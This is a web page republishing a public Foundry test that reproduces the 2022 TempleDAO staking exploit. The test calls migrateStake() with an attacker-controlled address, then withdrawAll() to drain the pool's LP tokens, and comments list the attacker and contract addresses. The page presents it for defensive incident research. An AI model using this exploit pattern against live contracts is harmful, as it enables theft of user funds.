Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/Templedao_exp.sol

Public reproduction file for dataset entry Templedao.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/Templedao_exp.sol65 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : $~2.3M
8// Attacker : 0x9c9fb3100a2a521985f0c47de3b4598dafd25b01
9// Attack Contract : https://etherscan.io/address/0x2df9c154fe24d081cfe568645fb4075d725431e0
10// Vulnerable Contract : https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941
11// Attack Tx : https://etherscan.io/tx/0x8c3f442fc6d640a6ff3ea0b12be64f1d4609ea94edd2966f42c01cd9bdcf04b5
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941#code#F1#L241
16// @Analysis
17// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1579843881893769222
18// Twitter FrankResearcher : https://twitter.com/FrankResearcher/status/1579840347647414272
19// Twitter Spreek : https://twitter.com/spreekaway/status/1579836562338361345
20// Rekt news : https://rekt.news/templedao-rekt/
21// Root cause: Insufficient access control of the `migrateStake()` function.
23interface IStaxLPStaking {
24 function migrateStake(address oldStaking, uint256 amount) external;
25 function withdrawAll(
26 bool claim
27 ) external;
30contract ContractTest is Test {
31 IERC20 constant xFraxTempleLP = IERC20(0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9);
32 IStaxLPStaking constant StaxLPStaking = IStaxLPStaking(0xd2869042E12a3506100af1D192b5b04D65137941);
34 function setUp() public {
35 vm.createSelectFork("mainnet", 15_725_066);
36 // Adding labels to improve stack traces' readability
37 vm.label(address(xFraxTempleLP), "xFraxTempleLP");
38 vm.label(address(StaxLPStaking), "StaxLPStaking");
39 }
41 function testExploit() public {
42 emit log_named_decimal_uint(
43 "[Start] Attacker xFraxTempleLP balance before exploit", xFraxTempleLP.balanceOf(address(this)), 18
44 );
46 uint256 lpbalance = xFraxTempleLP.balanceOf(address(StaxLPStaking));
48 // Perform migrateStake()
49 StaxLPStaking.migrateStake(address(this), lpbalance);
51 // Perform withdrawAll()
52 StaxLPStaking.withdrawAll(false);
54 emit log_named_decimal_uint(
55 "[End] Attacker xFraxTempleLP balance after exploit", xFraxTempleLP.balanceOf(address(this)), 18
56 );
57 }
59 function migrateWithdraw(
60 address,
61 uint256
62 )
63 public //callback
64 {}

Analysis

Dataset entry

Public Foundry test for “Templedao” (2022-10-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x9c9fb3100a2a521985f0c47de3b4598dafd25b01

  • Attack Contract

    0x2df9c154fe24d081cfe568645fb4075d725431e0

  • Vulnerable Contract

    0xd2869042e12a3506100af1d192b5b04d65137941

  • Attack Tx

    0x8c3f442fc6d640a6ff3ea0b12be64f1d4609ea94edd2966f42c01cd9bdcf04b5

File record

Name
Templedao
Path
src/test/2022-10/Templedao_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e83dd330b08ced761136e077f938feb599b13723
Language
Solidity
Size
66 lines
Date
2022-10-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/Templedao_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e83dd330b08ced761136e077f938feb599b13723, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.